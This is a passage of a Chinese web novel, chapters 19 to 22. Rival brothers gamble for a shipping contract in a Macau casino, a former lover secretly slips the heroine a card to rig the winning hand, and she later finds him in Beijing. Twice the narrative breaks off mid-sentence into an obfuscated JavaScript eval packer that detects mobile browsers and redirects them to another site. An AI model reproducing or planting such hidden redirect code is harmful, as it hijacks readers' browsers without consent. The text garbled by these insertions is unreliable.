她侧过脸,借着机舱内微弱的仪表灯光看着这个男人。 就在十分钟前,他把心脏交到了她手里。而现在,他又恢复成了那个无坚不摧甚至可以用冷酷来形容的商业机器。唯有那只一直没松开的手,掌心里全是黏腻的湿汗,泄露了他灵魂深处的那一丝余悸。 “周彻……”商颂动了动嘴唇,声音被噪音吞没。 但周彻看懂了。 他伸出手,大拇指温柔地摩挲过她眼角那处还没干透的泪痕,然后在她那颗祖母绿的耳坠上落下一个吻。 “别怕。” 他的声音低沉,“到了那边,只需要坐在我身边。不管看到什么,只要这只手没松开,天就塌不下来。” 19. 第 19 章 澳门,凌晨两点。 这座东方拉斯维加斯是一头永不休眠的吞金兽。 他们没有走那扇金碧辉煌的正门,而是通过一条只有顶级VIP才能进入的专属通道,直达路氹某家超豪赌场的顶层——“鎏金阁”。 这里的设计奢华到了压抑的地步。 巴洛克风格的穹顶上绘满了堕落天使的油画,四周墙壁贴着暗红色的金丝绒壁布。地毯厚得像苔藓,吞没了所有的脚步声,只剩下筹码撞击的脆响,如同骨骼碎裂。 索科洛夫一进这里,就像是一头棕熊回到了他的洞穴。 他扯掉了束缚呼吸的领结,眼神里那种对于“不确定性”的狂热彻底燃烧起来。 偌大的包厢已被清场,只留下一张椭圆形的赌桌,和一位穿着燕尾服、戴着白手套的英式荷官。 “来吧,我的朋友。” 索科洛夫大刀金马地坐在主位上,身后的保镖将那个象征着北冰洋航运命脉的黑色公文包,“砰”地一声拍在桌面上。 “俄罗斯轮盘赌的是胆色,这里赌的是气运。周,你刚刚在靶场证明了你的胆色,现在,让我看看你的气运能不能撑起这半壁江山。” 周彻并未落座。他先是绅士地拉开了他右手边的那把椅子,扶着商颂坐下。 绿裙如水泻地,在红色的地毯上铺陈开来。 那是一种极具视觉冲击力的配色——红与绿,生与死,欲望与代价。 商颂就像是被他摆上神坛的一尊翡翠观音,负责替他镇住这满室的妖魔鬼怪。 “你想玩什么?”周彻解开了袖扣,将那两枚昂贵的蓝宝石扔给一旁的侍应生,随即挽起衬衫袖口,露出线条冷硬的小臂。 “德|州|扑|克太费脑子,二十一点太小家子气。” 索科洛夫点了点桌面,“就玩百|家|乐。庄与闲,也就是你和我。一翻两瞪眼,最公平。” “好。” 周彻在商颂身边坐下,姿态慵懒得像是在自家客厅,“既然伊万你要送钱,我没有不收的道理。” 第一局。 牌局开始得很平淡。 索科洛夫显然是个享受过程的人,他并没有急着下重注,而是像猫抓老鼠一样,一点点地抛出筹码,试探着周彻的底气。 周彻应对得漫不经心。 他甚至不怎么看牌,大半的注意力似乎都在身旁的商颂身上。他一只手搭在商颂赤裸的脊背上,指尖有一搭没一搭地轻点着她的蝴蝶骨。 这种轻慢的态度反而让索科洛夫觉得他在虚张声势,几把下来,反倒是周彻赢多输少。 然而,就在这场看似稳操胜券的赌局进行到一半,那个代表着数百亿合同的公文包已经被推到桌子中间线即将归属周彻的那一刻—— 那扇厚重的雕花描金大门,发出了一声不合时宜的呻吟。 “吱呀。” 并没有侍应生的通报。 也没有保镖的阻拦。 大门被缓缓推开,一道穿堂风带着走廊里那股并不纯粹的冷气,直直地钻了进来,吹动了商颂裙摆上的一角流苏。 商颂搭在扶手上的手指猛地一蜷。 一种源自生物本能的直觉让她背后的寒毛瞬间竖起。她下意识地看向周彻。 周彻正准备掀开底牌的手在空中停滞了半秒。 仅仅是这半秒。 他脸上那种从容的淡漠并未改变。 门口站着一个人。 和这满屋子的西装革履格格不入。 他穿了一件极其素雅的月白色织锦盘扣长衫,手里那串常年不离手的小叶紫檀佛珠,在指间不急不缓地转动着。 一下,两下。 哒,哒。 是周晔。 那个本该在香港被周彻的雷霆手段压制住的“废二少”,那个本该在北京老宅里抄佛经的伪君子。 他此刻就站在那里,脸上挂着那副温润如玉的笑容。 在这个充满了金钱腐臭味的赌场里,他这一身打扮显得极其干净,干净得像是一个刚做完超度的法师,专门来这红尘里收妖。 “哟,看来我来得正是时候。” 周晔跨过门槛,并没有看面沉如水的周彻,而是先对着主位上的索科洛夫行了一个标准的佛家合十礼,谦卑而恭顺。 “伊万先生,久仰。我是周彻的弟弟,周晔。也是周氏集团现任的风险管控执行人。” 索科洛夫眯起眼睛,手里还没点燃的雪茄被捏得有些变形,“周?我记得你说过,你的家务事已经处理干净了。” 周彻终于缓缓收回了悬在半空的手,将那张没翻开的底牌扣回了桌面。 “怎么?” 周彻转过头,“在香港没死成,特地跑到澳门来找个好点的风水地?” 这话说得极其恶毒,也极不体面。 这说明——他急了。 或者说,周晔的出现,完全在他的“控局”之外。 周晔对这句羞辱视若无睹。他甚至还好脾气地笑了笑,那种包容的姿态仿佛他才是那个年长的兄长。 “大哥,火气别这么大。伤肝,也伤财。” 周晔慢悠悠地踱步进来,视线在满桌的筹码和那个黑色公文包上转了一圈,最后若有似无地掠过一身绿裙的商颂。 那个眼神里含着一种令人毛骨悚然的玩味和某种暗示。 “伊万先生。” 周晔转过身,从宽大的袖袋里掏出了一个并不起眼的U盘,轻轻推到了索科洛夫面前。 “大哥跟您赌的是运气,但我这个人胆子小,只信数据。这里面是周氏集团这个季度在南太平洋的一点……小状况。以及,我大哥为了填这个窟窿,而在账目上做的一点‘微调’。” “虽然您信奉高风险高回报,但我还是建议您,在签这个名字之前,再考虑考虑。毕竟这艘船如果底板已经烂了,哪怕船长是赌神,也是会沉的。” 这是绝杀。 周彻之前的豪赌、靶场的空枪、甚至把商颂当做幸运神推出来的举动,本质上都是在掩盖周氏内部资金链断裂的事实。他在赌时间,在赌索科洛夫签约打款的速度快过丑闻爆发的速度。 而周晔这一手,直接把遮羞布给掀了。 索科洛夫脸上的狂热褪去,取而代之的是顶级商人的狡诈与阴沉。他拿起那个U盘,并没有立刻看,而是在指间转了转。 “周,你的弟弟说你是个骗子。”索科洛夫靠回椅背,似笑非笑,“解释一下?” 周彻摘下眼镜,随手扔在丝绒桌面上。 “索科洛夫,我的船烂没烂,你把货放上去不就知道了?信一个为了夺权不择手段的私生子,这可不像你的风格。” 他依然强硬。这是属于周彻的骄傲,哪怕到了绝境,他也绝不会低下那颗高贵的头颅。 “不如这样。” 索科洛夫忽然笑了,他把U盘扔到一边,又指了指那个公文包。 “我不在乎你们周家是谁做主,我在乎的是我的货谁能运得更快。既然现在有两个姓周的……不如你们替我做个决定?” 他指着赌桌,眼里闪烁着看戏的恶趣味。 “合同就在这儿。周彻,你刚才赢的都不算数了。现在,让你弟弟坐下来。你们两个赌。谁赢了,这只公文包连同里面的东西,谁拿走。” “筹码嘛……就用你们手里持有的周氏股份。” 这是要把他们逼上绝路。 如果周彻输了,他不仅拿不到救命的合同,还会输掉自己在集团的控制权。 而周晔,既然敢来,显然是有备而来。 周彻沉默了两秒。 他感觉到了身边商颂的手正在剧烈颤抖。 他反手握住她的手,用力捏了一下,示意她镇定。 然后,他抬起头,看向对面那个依旧云淡风轻的周晔。 “想死?”周彻嘴角勾起一抹残酷的笑,“好,我成全你。荷官,发牌。” 局势变了。 赌桌上的两个人,是流着同一半血液的宿敌。 第一局。 周彻的风格依旧激进。他的眼里带着一种孤注一掷的杀气,那是靶场那一枪给他的余威。 周晔则完全相反。他慢,稳,甚至有些“怯”。 开牌。 周彻赢。 周晔输了一堆筹码,脸上却没有任何懊恼,依旧转动着那串佛珠,嘴里甚至还在低声念着什么。 第二局。 周彻拿到一手天牌。他毫不犹豫地加注。 周晔想都没想就弃牌了。 他又输了。 第三局,第四局…… 接下来的二十分钟,就像是靶场那一幕的重演。 周彻是绝对的王者,他的气势、他的计算、他的运势,都像是一把重锤,将周晔的防御一点点砸碎。周晔面前的筹码肉眼可见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126706|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地减少,而周彻那边的筹码堆成了小山。 连索科洛夫都看腻了:“周二公子,看来你的赌运并没有你的口才好。再输一把,你连那个代理监事的位置都保不住了。” 周彻并没有笑。 他不但没笑,眉头反而越皱越紧。 他盯着对面那个明明已经输得只剩下最后一点底裤,却依然气定神闲仿佛是在逛花园的弟弟。 太容易了。 周彻了解周晔。这就是一条咬住人就不松口的毒蛇。他今天敢单枪匹马闯进这个狼窝,手里不可能没有底牌。 可是现在,他就像是一个故意来送人头的傻子。 商颂站在周彻身后,手心里的冷汗比之前更多。 女人的直觉往往比男人更敏锐。 她看着周晔。 周晔每次输牌,手指拨动佛珠的频率都完全一致。 哒、哒、哒。 那不是紧张,那是在计时。 他在拖延时间。 他在等什么? 这间屋子已经被封锁了,连只鸟都飞不进,他在等谁? “大哥手风真顺。” 又输了一把大的,周晔慢条斯理地整理着袖口,那是他输光的倒数第二摞筹码,“看来那位商小姐,果然是你的幸运神。” 他的视线再次落在商颂身上,那件绿色的裙子在灯光下显得格外妖冶。 “不过……” 周晔的话锋一转,嘴角的笑意变得诡异,“有些幸运,是有时效性的。大哥有没有想过,当幸运变成厄运的时候,这绿色的裙子看起来像不像是一顶帽子?” “砰!” 周彻猛地将手里的牌拍在桌上。 “周晔,想死可以直说,不用拐弯抹角。” “最后一把。” 周彻已经失去了耐心。他感到了某种不对劲,某种正在逼近的危险。他要速战速决。 他将面前如山般的筹码全部推倒,那是雷霆万钧之势。 “Allin。” 周彻站起身,双手撑在桌面上,居高临下地死死盯着周晔,“这一把你敢跟吗?” 所有的声音都消失了。 只剩下中央空调的嗡嗡声。 周晔看着那堆足以买下半个澳门的筹码。 他停下了手里转动的佛珠。 然后,他缓缓抬起头。 那双一直半眯装着温良恭俭让的眼睛,在这一刻,完全睁开了。 里面没有恐惧,没有绝望。 只有一种图穷匕见后的狰狞与狂喜。 “大哥,既然你这么急着送我去死。” 周晔慢慢地将手里仅剩的一枚筹码,轻轻推到了赌桌中央。 “那我当然要——跟。” 周彻瞳孔微缩。 周晔凭什么跟?他的牌面明明是一手烂牌。 “但我还有一个加注。” 周晔忽然转向那扇紧闭的大门。 他的声音提高了几度,带着一种像是唤狗般的轻佻与得意。 “不仅仅是这点股份。我还要加一样东西,作为大哥这份大礼的回赠。” 周晔拍了拍手。 两声脆响。 “吱呀。” 那扇刚才被风吹开过的大门,这一次被人从外面彻底推开了。 一个修长挺拔的身影,逆着走廊里惨白的光,缓缓走了进来。 他没有穿侍应生的制服,也没有穿周晔那种虚伪的长衫。 他穿着一件在剧组里用来当做私服的黑色冲锋衣。拉链一直拉到顶,遮住了那一截在镜头前总是引人遐想的喉结,只露出一张苍白、清冷,却因为熬夜而眼尾泛红的脸。 商颂在看到那个身影的一瞬间,她死死抓住周彻的椅背,指甲折断了都毫无知觉。 那个人手里拿着一个厚厚的档案袋。 不是别的,正是刚才周晔提到能够证明周彻账目造假的全部底单。 那是连周晔那个U盘里都没有的核心机密。 那个人走进来,他无视了周彻震惊到几乎要杀人的目光,也无视了商颂眼中瞬间涌上的泪水。 他径直走到周晔身边,停下。 然后,将那个档案袋,毫无保留地放在了周晔面前的赌桌上。 “二少爷。” 那个清冽熟悉的声音,在死寂的包厢里响起。 “你要的牌,我带来了。” 20. 第 20 章 伯雪寻。 原来这就是周晔一直在等的“底牌”。 他在牌桌上输掉的所有筹码,都是为了给这个人争取时间,让他把周彻最后的生路给堵死。 “大哥。” 周晔拿起那个档案袋,像是拿起一把枪,指着周彻的眉心。 “给你介绍一下。” 周晔脸上的笑容终于不再掩饰,那是彻头彻尾的恶毒,“这是我的新合伙人。哦,对了,他好像跟你的这位‘幸运神’还是旧相识呢。” 商颂站在原地,只觉得那件绿色的裙子像是一根绞索,勒得她无法呼吸。 她看着伯雪寻。 周彻怒极反笑,他伸手,一把将身边瑟瑟发抖的商颂拽进怀里,“商颂,看清楚了吗?这就是你想用爱去感化的‘白月光’。他踩着你的尊严往上爬的时候,连头都没回一下。” 而伯雪寻站在周晔身侧,目光却穿透了所有人,毫无遮掩地落在她被周彻掐红的手臂上。仅仅是一瞬,那种隐秘的痛楚被他很好地藏进了眼底的阴影里,只剩下一副公事公办的冷硬面孔。 “好了。” 周晔并不想欣赏这出名为“嫉妒”的戏码,他的手指在那个档案袋上轻快地敲击着,“既然底牌齐了,大哥,咱们这最后一局,该有个了结了。” 他转头看向看戏的索科洛夫,“伊万先生,这个档案袋里的东西归谁,这条航线就归谁。很公平吧?” 索科洛夫咬着雪茄,饶有兴致地点头,“很公平。一把定生死,我喜欢。” “谁发牌?”周彻冷冷地问。这里的荷官,他不信。 周晔转动着佛珠,那张温润如玉的脸上露出一丝笑意。 他的视线像一条黏腻的信子,舔过商颂惨白的脸。 “不如,让你的‘幸运神’来?” “大哥不是说,她是你的命吗?那就让她亲手发这最后一局。到底是生是死,是帮你翻盘还是送你上路,全看她的手气。” 商颂下意识地想要后退。 “我不行……” 在这种几百亿身家性命的赌桌上,让她去发牌?一旦输了,或者出了任何差错,周彻会怎么样? 她太了解周彻了。她并不是特殊的那一个。 “去吧。” 一只滚烫的大手托住了她的后腰。 周彻没有回头,他的声音顺着她的脊椎骨传导上来,带着一种孤注一掷的疯狂与信赖。 “商颂,去。只要是你发的牌,不管是输是赢,我都认。” 那是命令。是带着那种“我们是一条绳上的蚂蚱”的捆绑。 周彻在赌。他不仅赌运,还在赌商颂对他的恐惧。他知道她怕他,所以她一定会想尽一切办法让他赢。 商颂走到赌桌中央。 那一刻,她美得像是一场盛大的献祭。 翡翠绿的裙摆逶迤在红地毯上,她拆开一副崭新的扑克牌。 洗牌。 “哗啦。” 每一声扑克牌的摩擦,都像是铡刀落下的声音。 她不是易为春,她没有那个为爱赴死的胆量。她只是一个被两个疯子夹在中间的可怜女人。她甚至连基本的切牌都因为汗水而显得滑稽。 牌发下来了。 一局定胜负。 周彻将所有的身家,甚至那把枪,全部推了进去。周晔也将那个装着致命黑料的档案袋推入池底。 底牌两张。 公共牌发出三张。 红桃10,红桃J,红桃K。 这又是一个极度诱惑却又极度凶险的同花大顺面。 周彻的手里是一对A。如果能再来一张红桃Q,那就是天牌。 可是商颂不会出千。 或者说,在这种高压下,她那一丁点为了演戏学来的花架子早就忘光了。她看着下一张即将发出的转牌——她在洗牌的间隙偷偷瞄到了边角。 那是一张毫无用处的杂色方块4。 如果这张牌发出去,周彻的赢面会瞬间跌到谷底。 如果周彻输了……那个档案袋到了周晔手里,周彻会发疯。而作为“幸运神”失效的她,将会承受这个暴君最恐怖的怒火。 怎么办? 商颂站在那里,手指按在牌堆上,冷汗顺着鬓角滑落,滴在绿色的桌布上,晕开一小团深色的水渍。 发?还是不发? 发了是死,不发也是死。 她绝望地抬起头,看向周彻。周彻正用一种令人窒息的目光盯着她,那眼神里写满了“别让我失望”。 就在这千钧一发的窒息时刻。 一道阴影,毫无征兆地笼罩了上来。 “商小姐的手在抖。” 他的声音在死寂的包厢里响起。 一直站在阴影里旁观的伯雪寻,不知何时走到了赌桌边。他就站在商颂身侧半步的位置,那个距离极近,近到商颂能感受到他冲锋衣上传来的凉意。 “伯雪寻,你想干什么?”周彻眯起眼,手中的枪口微抬。 “不想干什么。” 伯雪寻没有看周彻,也没有看周晔。他微微低头,视线落在商颂那双抖得不成样子的手上。 他的神色平静极了,像是根本不在乎这桌上赌的是几百亿,还是几条命。 “按照规矩,发牌手如果不稳,为了防止作弊,观察员有权切牌。” 他说得冠冕堂皇,每一个字都掷地有声。 周晔正等着看周彻输,闻言虽然皱眉,却也只是冷笑一声,并没有阻止这位“自己人”。 伯雪寻伸出手,覆盖在了商颂冰凉的手背上。 那种触感很轻,却带着惊人的热度。 “别怕。” 他的嘴唇几乎没有动,声音轻得只有他们两个人能听见。 就在他的手掌盖住牌堆,假装要进行切牌动作的那一瞬间。 商颂感觉到了。 有什么极薄的东西,从他的袖口滑落,顺着他的掌心,毫无声息地塞进了她的掌心下方。 那是一张牌。 一张早就藏在他袖子里的牌。 商颂的瞳孔剧烈收缩,心脏几乎停摆。 他在出千? 作为周晔的盟友,作为这场赌局里把周彻逼上绝路的推手,他在帮她……帮周彻赢? 电光火石之间。 没有时间思考,没有时间震惊。 商颂那是被逼到绝境后的本能。她那双僵硬的手,在伯雪寻大手的遮掩下,配合着他的动作,如同演练了千百遍一般,顺滑地将那张被他塞进来的牌,压在了牌堆的最顶端。 伯雪寻松开手,后退一步,重新站回了阴影里。 他的脸上没有任何表情,甚至眼神有些冷淡地扫了商颂一眼。 “发吧。”他说。 商颂深吸一口气,指尖带着一种虚脱后的颤抖,将那张牌推了出去。 那是一张—— 红桃Q。 鲜红的桃心,在绿色的桌布上刺眼得像是一滴血。 加上公共牌的红桃10、J、K。 再配合周彻底牌里的那张红桃A。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126707|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是必胜的皇家同花顺。 周彻看着那张牌,原本紧绷到极致的背脊终于松弛了一分。他掀开底牌。 一对A,其中一张是红桃A。 皇家同花顺。 “我赢了。” 周彻站起身,那一瞬间的气场如同山呼海啸。他一把抓起那个象征着胜利与生存的档案袋,眼神阴鸷地看向周晔。 “二弟,多谢。” 周晔脸上的笑容凝固了。 他死死盯着那张红桃Q,又看了看站在一旁面色平静的伯雪寻。 他输了。输在了一张无论如何都不该出现的牌上。 他算了概率,算了人心,却唯独没算到……他身边这条“狗”,会反咬一口。 但他没有证据。 伯雪寻切牌的动作太快,太完美。没有任何破绽。 “大哥好运气。” 周晔咬着后槽牙,慢慢站起来。他是个极其懂得隐忍的人,哪怕输光了底裤,只要人还在,就有机会。 “看来商小姐果然是你的幸运神。连红桃Q这种救命的牌都能发出来。” 他阴冷地看了商颂一眼,然后转身离开。 路过伯雪寻身边时,周晔停了一下。 “伯先生,你的手,刚才好像有点多余啊。”周晔的声音极低,带着杀意。 伯雪寻垂着眸,连眼皮都没抬一下,“二少爷看错了。我只是帮您‘验’了一下货。” 周晔冷哼一声,拂袖而去。 包厢里只剩下胜利后的狂欢余韵。 索科洛夫大笑着在合同上签了字,拍着周彻的肩膀称赞他的运气。 而周彻—— 他根本没有去管那些恭维。 他大步走到赌桌中央,一把将已经快要瘫软在地的商颂拉进怀里。 “做得好。” 周彻的声音因为激动而有些发抖,他当着所有人的面,捧起商颂的脸,狠狠地吻了下去。 那是一个充满了宣泄感和奖赏意味的吻。 “商颂,你是我的神。” 他以为这是运气,以为这是天意。 商颂被动地承受着这个吻,身体却越过周彻宽阔的肩膀,看向那个站在角落里的人。 伯雪寻站在光照不到的地方。 他正低着头,慢条斯理地整理着冲锋衣的袖口。那个刚才藏过牌的袖口。 他似乎感觉到了她的目光。 但他没有抬头,没有回应,更没有邀功。 只有商颂看到了。 他在转身的一刹那,右手轻轻按了一下左边的胸口。 那个位置。 是他在海边说过的,离心脏最近的地方。 一种无声的悲凉像潮水一样淹没了商颂。 周彻赢了。周晔输了。 可真正的输家是谁? 是那个亲手把胜利递给情敌,只为了让她免受责罚的男人。 周彻终于松开了她,脸上带着胜利者的傲慢。 他并未察觉到怀中人的异样,更未察觉到那个角落里刚刚发生的一场关于爱的献祭。 “走吧,回家。” 周彻揽着商颂,大步流星地走出去,将那个档案袋紧紧攥在手里。 商颂被他带着,踉跄着前行。 在经过那个阴影角落时,商颂低下头。 她看到地毯上,躺着一张极其不起眼的糖纸。 那是一张皱巴巴的橘子糖的糖纸。 大概是伯雪寻刚才掏牌的时候,不小心带出来的。 21. 第 21 章 这场从澳门带回来的风暴,并没有因为地域的转换而带来丝毫凉意。相反,它一头撞进了北京最为暴戾的初夏。 “这圈子真是势利眼,墙倒众人推的速度比翻书还快。” 造型师是个心直口快的,一边给商颂喷定型喷雾,一边同旁边的小艾闲聊。 “可不是嘛,”小艾压低了声音,像是在分享什么不得了的机密,却又不自觉地拔高了调门,“原本定好的顶奢珠宝全线代言,前两天官宣时突然多了个title,变成了‘品牌挚友’,这就等于变相降级。而那个本来应该由他单封的金九杂志,据说因为他在风口浪尖,主编迫于压力,硬生生塞进来了另外两个当红流量,拼成了一张拥挤廉价的大拼盘。” 商颂滑手机的手指一顿。 “还有呢,这把火都烧到了他的队友身上。”造型师叹了口气,透过镜子瞄了一眼商颂看似毫无波澜的脸,继续道,“他所在的APRICITY本周的一档王牌上星综录制被临时取消,理由冠冕堂皇说是技术调整,但谁都清楚,是因为那个还没落地的传闻,卫视不敢用有风险的艺人。” 小艾咋舌:“真的假的?A团今年谁不捧着?这下好了,资源掉得跟秋天的叶子似的。他那么傲的一个人,这心里得多憋屈?” 商颂心里泛起一阵细密的酸楚。 她当然知道憋屈。 周晔输了澳门那一局,不敢找周彻的晦气,便将所有的怒火都倾泻到了伯雪寻身上。 那个档案袋是他递的,那场让他输得底裤都不剩的局,伯雪寻在其中扮演了关键的推手。周晔那种睚眦必报的性格,不会一下子弄死他,只会像猫玩弄老鼠一样,一点点拆掉他的翅膀,看着他在泥潭里挣扎。 所以伯雪寻的资源正在以肉眼可见的速度流失,就像掌心里的沙,握得越紧,流得越快。 伯雪寻那样骄傲又清醒的人,他可以不在意自己的一城一池得失,但他大概无法忍受自己成为连累队友的累赘。 他一定会在深夜无人的练习室里,靠着镜子,一根接一根地抽烟吧?就像他们在剧组里那个暴雨的夜晚,他被困在情绪里出不来时那样。 商颂觉得自己像是一个看着沉船的人,明明手里握着救生圈,却不知道该往哪里抛。 下午的拍摄结束后,天色已经完全沉了下来。 “颂姐,保姆车在地下车库。”小艾收拾着东西,“回公寓吗?” “不用了。”商颂从衣架上取下那件深灰色的风衣,将自己裹得严严实实,“我自己有点私事,你们先回去。” “啊?可是外面……” 商颂没给小艾继续发问的机会,戴上那顶黑色的渔夫帽,又拉起口罩遮住大半张脸。 有些道歉,必须当面说。 有些寒冬,她不想让他一个人过。 寻星娱乐的大楼矗立在CBD的核心区,像一尊巨大的吞金兽,吞吐着无数怀揣梦想的年轻人,也以此为燃料,烧出这城市的纸醉金迷。 商颂躲在公司楼下绿化带的一角阴影里。这里正对着大门的侧边,能看清每一辆进出的保姆车,却又不易被发觉。 她从口袋里摸出手机,已经是晚上九点半了。 商颂搓了搓有些冻僵的手指,呵出一口白气。她不知道自己等在这里能做什么,或许只是想看一眼他是否安好,或许是想在他走出来的时候,从阴影里走出去,哪怕只是递给他一杯热咖啡,说一句“抱歉”。 就在这时,寻星大楼的旋转门转动了。 一群举着长焦短炮的站姐和代拍蜂拥而上。闪光灯在夜色里连成一片刺目的海。 商颂下意识地往阴影深处缩了缩,心跳猛地加速。 出来的不是伯雪寻,而是他的两个队友黎名和唐嘉树。两个年轻的大男生面色都不太好看,即使戴着口罩也能看出眼底的乌青,面对镜头的追问,只能匆匆漠视钻进车里,甚至来不及和粉丝打招呼。 “听说节目被砍了是因为伯雪寻?” “团综还会录吗?” 那些尖锐的问题像刀片一样刮在空气里。 商颂听得心里发紧。队友的车开走后,那群人还没散,似乎笃定了伯雪寻还在里面。 她只能继续等。这一等,就是一个多小时。 人群渐渐散去了一些,只剩下几个特别执着的粉丝还蹲守在门口。商颂脚都站麻了,忍不住稍微动了一下,踩碎了一片干枯的落叶,发出一声脆响。 这声音在寂静的夜里显得格外突兀。 “谁在那儿?” 一道手电筒的强光猛地扫射过来,直直地打在商颂的脸上。她下意识地抬手遮挡,眯起了眼睛。 两个穿着制服的保安大叔快步走了过来,气势汹汹。寻星这种娱乐公司,常年被私生饭骚扰,保安的神经早就崩得像拉满的弓。 “干什么的?鬼鬼祟祟在这里蹲了半天了!”保安喝道,光柱在她身上上下扫视。 商颂被晃得睁不开眼,心里暗道糟糕。她现在这副打扮,加上这种躲藏的行为,简直就是教科书级别的私生饭。 “我只是在这里等人。”她压低了声音,试图用变调的嗓音掩饰自己的身份。如果被认出来是商颂深夜蹲守寻星,明天的头条就能直接让微博服务器瘫痪。 “等人?等谁?伯雪寻?”保安一脸不屑,“别装了,每天都有你们这样的小姑娘,不去上学上班,天天就知道跟踪偷窥。这是私人领地,赶紧走,不然我们要报警了!” 商颂百口莫辩,她总不能说“我是商颂,我是来道歉的”。她只能一边后退一边摆手:“不是,我是路过……” “路过能在灌木丛里蹲两个小时?”保安显然不信,甚至上前一步想拽她的胳膊,“身份证拿出来看看,之前有几个极端的都已经上了黑名单了,我看你挺面熟,是不是又是那个‘爱啵啵’?” 手电筒的光怼在离她脸只有几厘米的地方,那种被审视、被驱赶的羞耻感让她的脸颊瞬间发烫。堂堂当红小花,此时却像个做了亏心事的小偷,被逼得步步后退,后背撞上了冰凉的大理石墙面。 “我真的不是……”她有些急了。 “让她走吧。” 商颂的心跳仿佛在那一刻骤停。 保安的手停在半空,立刻换了一副恭敬的嘴脸:“伯老师,您下来了。这儿有个私生,我们正处理呢,怕惊扰到您。” 商颂僵硬地抬起头。 从大门的阴影里,慢慢走出来一个人。 他穿着一件灰色的连帽衫,帽子也没戴,那头总是打理得一丝不苟的头发此刻有些凌乱地垂在额前,遮住了眉眼。他手里甚至没拿任何遮挡物,就这样大大方方,又或是满不在乎地暴露 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他瘦了,侧脸的线条比拍摄时还要锋利,下颌线紧绷着。这就是他在风暴中心的模样吗?沉默,消瘦,独自承担一切,连面对一个可能是伤害他的源头之一的“私生饭”,都还保留着那种温柔。 “等一下。” 商颂不知道自己哪里来的勇气,突然开了口。声音虽然经过刻意压低,但那股韧劲儿却藏不住。 伯雪寻拉开车门的手顿了一下。 并没有像偶像剧里那样充满戏剧性的猛然回头,他只是停住了动作,背影在车灯拉长的光影里显得有些单薄却挺拔。过了几秒,他才微微侧过头,视线越过那个仍然对他虎视眈眈的保安,精准地落在了商颂露在那顶渔夫帽外的眼睛上。 那双眼睛在暗处,却比远处的霓虹还要亮,湿漉漉的。 伯雪寻的喉结上下滚了一下。 “赵叔,你先去忙吧。”他对保安说道,声音里那股漫不经心的劲儿收敛了几分。 保安虽然满腹狐疑,看看他又看看墙角那个把自己裹成粽子的女人,最终还是碍于伯雪寻的脾气,一步三回头地走了。 周围终于只剩下风穿过高楼大厦发出的呜咽声。 “走。”她低声说。 伯雪寻没有挣扎,他顺从地被她拉着,逆着光鲜亮丽的人潮,一头扎进背后晦暗不明的深巷。 风声在耳边呼啸,一直跑到肺部的空气像被灼烧过一样疼,商颂才在一条死胡同里停下脚步。这里没有摄像头,没有长枪短炮,只有头顶一盏将死未死的路灯,发出滋滋的电流声。 商颂松开了手,掌心里全是黏腻的冷汗。她大口喘息着,一把扯下脸上的口罩,露出那张素净却也难掩疲惫的脸。 “你怎么一点反应都没有?”她有些气急,“万一我是私生粉,把你绑架了怎么办?” 伯雪寻背靠着那面布满青苔的墙,借着微弱的光,他看着她。 他笑了,是很轻的那种笑,带着一点鼻音,“怎么会?你身上这股风衣也没盖住的苦橙花味,我能闻出来。更何况,这世上除了你,还有谁会这么没命地拉着一个当红顶流跑?” 商颂忍俊不禁,知道他是在安慰她,“资源都掉光了,还顶流?” 22. 第 22 章 伯雪寻耸了耸肩,“除了周晔,这圈内没有其他人了?” 提到周晔,商颂的心脏猛地缩了一下。那种愧疚像一根细细的鱼线,勒得她有些喘不过气。 “对不起。”商颂低下头,盯着两人影子的交界处,“如果不是为了救我,你就不会……” “我是自愿的。”伯雪寻打断了她。 他往前走了一步,那片阴影彻底笼罩了商颂。 “在这个圈子里,每个人都戴着面具在赌桌上求生。有人出卖色相,有人出卖尊严,而我只是出了一张老千。”他抬起她的下巴,逼迫她看着自己,“商颂,我不后悔。反而我觉得这笔买卖,划算得很。” 商颂的眼眶热得发烫。她看着眼前这个男人,想起了周彻那天给她的一份“绝密资料”。 那些文字像蚂蚁一样啃噬着她的理智,但此刻,看着伯雪寻那双坦荡的眼睛,她突然觉得那些所谓的证据轻薄得像一张废纸。 但她还是问了,声音微微发颤:“伯雪寻,周彻给了我一些东西。他说……他说你和那些高层……” 话没说完,但意思已经足够明白。 伯雪寻脸上的笑意淡了下去,但没有恼羞成怒,也没有慌张。他只是静静地看着她,眼神像一片深不见底的海。 “你信吗?”他问。 “我想听你亲口说。”商颂固执地盯着他。 伯雪寻叹了口气,那是某种卸下防备后的如释重负。他拉过商颂的手,将它贴在自己的左胸口。那里,心脏在沉稳而有力地跳动。 “商颂,我这具身体,从头到脚,这几年里在名利场里打滚,沾过烟味,沾过酒气,甚至沾过别人的血和泪。但是,”他顿了顿,“在这方面,只有你一个人。以前是,现在是,以后也是。” 商颂感觉手掌下的心跳像是某种共鸣的鼓点,一下一下敲在她的灵魂上。她相信了。不需要任何证据,在这一刻,这就是真相。 “好了。”伯雪寻收回手,似乎有些受不了这种过于沉重的煽情时刻,他又恢复了那种漫不经心的调调,“既然嫌疑洗清了,这位落魄顶流能不能邀请女明星去他的狗窝坐坐?我饿了。” 伯雪寻的单身公寓在东四环的一个老旧高档小区里,隐秘性很好,但也透着一股没人气的冷清。 